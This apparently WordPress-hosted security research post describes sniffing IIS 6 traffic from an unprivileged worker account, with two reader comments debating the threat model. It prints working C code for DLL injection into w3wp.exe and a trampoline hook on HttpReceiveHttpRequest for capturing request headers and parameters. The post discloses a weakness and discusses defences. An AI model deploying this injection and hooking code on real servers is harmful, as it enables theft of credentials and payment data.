Unprivileged Sniffing

The standard attack path against a hardened system almost invariably involves escalating privileges locally. Privileged access allows the attacker to do things like access all data on the server, sniff network traffic, and install root kits or other privileged malware. Typically, one of the goals of host hardening is to limit the damage that an attacker can do who has gained access to an unprivileged account. “Successfully” hardening a web server, for example, involves preventing the account used by the httpd service/server from modifying the source code of the application it hosts.

Imagine a web server that handles sensitive information, let’s say credit card numbers. This application runs through an interpreter invoked by a web server running as an unprivileged user. No matter how this data is encrypted when at rest, if it can be decrypted by the application, an attacker with the ability to invoke an arbitrary process at the same privilege level as this application will be able to recover the data. This is not true however of data which is stored as a hash or encrypted using an asymmetric public key where the private key is not present. In these cases an attacker is often forced to escalate local privileges to sniff data in transit either via network sniffing, or modifying encryption libraries. Even when data is stored in a retrievable format, especially on hardened systems, recovering this ultimately obfuscated data can be a daunting task for an attacker. Many applications now employ a multi-tiered approach which requires a significant amount of time and effort to attack and gain access to the critical keys or algorithms.

Given the architecture of Windows servers however, it is possible, via access to an unprivileged account such as Local Server, to implement a form of unprivileged sniffer which will monitor sensitive information as it is passed through the target application. This can be implemented in a way which would allow an attacker to trivially monitor all data in motion through the application. In the case of a web application this would include any parameters within a request, data returned by the server, or even headers like those used for basic authentication. This method is generic across applications and can be used to sniff encrypted connections.

The unprivileged sniffer doesn’t employ any tactics that are strictly new and although we haven’t seen this implemented in malware to date it wouldn’t be surprising if something similar has been done. The implementation I will describe is effective against IIS 6 but similar things could be implemented for other applications (SQL Server and Apache come to mind).

The first challenge in hooking into an IIS worker process or Application Pool (w3wp.exe) is knowing when it will start. A request coming into IIS is handled by the W3SVC service and passed off to an Application Pool via a named pipe. The service will either instantiate a new worker process passing the pipe name as an argument or assign the connection to an existing worker. The difficulty is that as the “Local Server” user we can not hook into the W3SVC itself so we must either constantly watch for new instantiations of ‘w3wp.exe’ or have some way of knowing when they start. By monitoring named pipes using the undocumented API ‘NtQueryDirectoryFile’ we can watch for the creation of pipes that start with ‘iisipm’. A pipe will be created each time a new worker is initialized giving us a head start hooking the new process.

Now that we know a process will be created we can do a standard library injection using code similar to the following to identify it and inject our sniffer. In this code LIBNAME represents the name of the DLL to inject.

PROCESSENTRY32 entry;

HANDLE snapshot;

BOOL r = FALSE;

DWORD TargetPID = NULL;

HANDLE Proc;

LPVOID LoadLibAddr, RemoteName;

/* Find the PID of the “w3wp.exe” process. */

entry.dwSize = sizeof(PROCESSENTRY32);

if ((snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, (unsigned long)NULL)) != INVALID_HANDLE_VALUE) {

for (r = Process32First(snapshot, &entry); r; r = Process32Next(snapshot, &entry)) {

if (strstr(entry.szExeFile, “w3wp.exe”)) {

TargetPID = entry.th32ProcessID;

}

}

CloseHandle(snapshot);

}

if (!TargetPID) return;

/* Open the process */

if ((Proc = OpenProcess(PROCESS_CREATE_THREAD|PROCESS_QUERY_INFORMATION|PROCESS_VM_OPERATION|PROCESS_VM_WRITE, FALSE, TargetPID)) == NULL) return;

/* Get the address of “LoadLibraryA” to use as our remote thread procedure */

if ((LoadLibAddr = (LPVOID)GetProcAddress(GetModuleHandleA(“kernel32.dll”), “LoadLibraryA”)) == NULL) goto out;

/* Allocate a block of memory within “w3wp.exe” to hold the name of the DLL we are injecting and copy it in */

if ((RemoteName = (LPVOID)VirtualAllocEx(Proc, NULL, strlen(LIBNAME) + 1, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE)) == NULL) goto out;

if (!WriteProcessMemory(Proc, (void *)RemoteName, LIBNAME, strlen(LIBNAME) + 1, NULL)) goto out;

/* Create a thread within “w3wp.exe” which will load our DLL into memory */

CreateRemoteThread(Proc, NULL, (unsigned long)NULL, (LPTHREAD_START_ROUTINE)LoadLibAddr, (void *)RemoteName, (unsigned long)NULL, NULL)

out:

CloseHandle(Proc);

We now have our library loaded into the address space of the worker process. When this occurs the entry point of our library will be called. We will use the concept of a trampoline to hook certain calls within the w3wp process. Specifically IIS uses a library called HTTPAPI for passing around HTTP requests and responses. By hooking into the following calls we can examine requests and responses passed through this worker.

  • HttpReceiveHttpRequest
  • HttpReceiveRequestEntityBody
  • HttpSendHttpResponse
  • HttpSendResonseEntityBody

As an example the following stub shows one way of hooking ‘HttpReceiveHttpRequest’.

/* This will store the address of the HttpReceiveHttpRequest function */

typedef ULONG (*HttpReceiveHttpRequestType)(HANDLE, ULONGLONG, ULONG, PHTTP_REQUEST, ULONG, PULONG, LPOVERLAPPED);

HttpReceiveHttpRequestType HttpReceiveHttpRequestSaved;

/* The trampoline structure is used to save both the original 6 bytes of the function we are hooking and the new instructions we replace them with */

typedef struct _trampoline {

char push;

void *func;

char ret;

} Tramp, *PTramp;

Tramp HRHR, oldHRHR;

HMODULE lib;

SIZE_T i;

/* Ensure that HTTPAPI.dll has been loaded */

lib = LoadLibraryA(“HTTPAPI.dll”);

/* Save the address of “HttpReceiveHttpRequest” */

HttpReceiveHttpRequestSaved = (HttpReceiveHttpRequestType)GetProcAddress(lib, “HttpReceiveHttpRequest”);

/* 0x68 is the x86 PUSH instruction */

HRHR.push = 0x68;

/* We are pushing the address of our hook */

HRHR.func = (HttpReceiveHttpRequestType *)&HttpReceiveHttpRequestHook;

/* 0xC3 is the x86 RETN instruction which will pop the value we just pushed and jump to that location. This effectively hijacks the flow of execution */

HRHR.ret = 0xC3;

/* We then read the original 6 bytes of the HttpReceiveHttpRequest function */

ReadProcessMemory(GetCurrentProcess(), HttpReceiveHttpRequestSaved, &oldHRHR, 6, &i);

/* And replace it with our trampoline code */

WriteProcessMemory(GetCurrentProcess(), HttpReceiveHttpRequestSaved, &HRHR, 6, &i);

We have now replaced the first six bytes of the ‘HttpReceiveHttpRequest’ function mapped within the ‘w3wp.exe’ process to redirect the flow of execution into our hook procedure. Now by creating a hook we can sniff any data passed through this function by implementing code similar to the following.

ULONG HttpReceiveHttpRequestHook(HANDLE ReqQueueHandle, ULONGLONG RequestId, ULONG Flags, PHTTP_REQUEST pRequestBuffer, ULONG RequestBufferLength, PULONG pBytesReceived, LPOVERLAPPED pOverlapped) {

ULONG ret;

SIZE_T i;

HANDLE log;

/* First we replace the first 6 bytes of the real ‘HttpReceiveHttpRequest’ function with their original value */

WriteProcessMemory(GetCurrentProcess(), HttpReceiveHttpRequestSaved, &oldHRHR, 6, &i);

/* We then call the real function and save the return value */

ret = HttpReceiveHttpRequestSaved(ReqQueueHandle, RequestId, Flags, pRequestBuffer, RequestBufferLength, pBytesReceived, pOverlapped);

/* At this point all data with the HTTP_REQUEST stored at pRequestBuffer is valid and can be saved to a file or sent out over the network. This data includes the request headers and Get parameters passed with the request */

/* After we have performed our sniffing operations we write our trampoline back into the real function */

WriteProcessMemory(GetCurrentProcess(), HttpReceiveHttpRequestSaved, &HRHR, 6, &i);

/* And return the saved return value */

return ret;

}

If similar hooks were implemented for each of the functions listed above all information in and out of IIS could be sniffed in a way which is generic to the web application being used.

Although this implementation is deliberately incomplete it demonstrates one use case for an unprivileged sniffer. This type of attack is possible in Windows due to  specifics of process creation and how privileges are dropped. It is worth mentioning that a similar attack is generally not possible in similar Linux services. In Linux the ability to ptrace a process is controlled by the dumpable flag within the mm member of the process’ task_struct. When privileges are dropped the dumpable flag is unset and this is inherited when a fork or execve occurs. This prevents the owning user of the resulting process from modifying the process’ execution. Because lower privilege workers are not newly created processes in Linux but rather inherit their task_struct from the root owned parent, they are not debuggable by the lower privileged worker account.

We are not currently aware of a way of preventing this type of attack. The Windows privilege structure, and individual privileges such as the seDebugPrivilege are not designed to prevent access to the owning user. If a fix is possible it would likely relate to the creation of the worker processes and would require modification of the individual applications. If you have an idea for a fix please let us know.

4 thoughts on “Unprivileged Sniffing

  1. This is not entirely correct. AFAIK a user lacking SeDebugPrivileges can not attach to processes other than launched by it. Also, your attack scenario supposes that you can already run code under the given account. At this point you can almost say “game over”, but there are many security mechanisms to prevent you from doing exactly that.

    So, yes, there are features which can be abused (just as in any OS), but if you properly secure your environment, the probability of these features being exploitable is very slim (just as in any other OS).

  2. That is correct you must first be able to run code as the owner of the worker processes (in most cases Local Server).

    This attack is specifically designed for situations where command execution has been gained by exploiting a service or web application. Typically the access gained would be to the Local Service account. As this is the account that worker processes are run with, seDebugPrivilege will be enabled.

    There is certainly an argument that once command execution is achieved the jig is up and we should throw up our hands but I disagree. Under this assumption all local privilege escalation attacks would be meaningless. Although not strictly relevant to this attack, accepting this would be almost reminiscent of pre NT Windows where the operating system was not intended as a multi-user environment. If that is the direction we want to go why not run IIS workers as Local System and be done with it.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s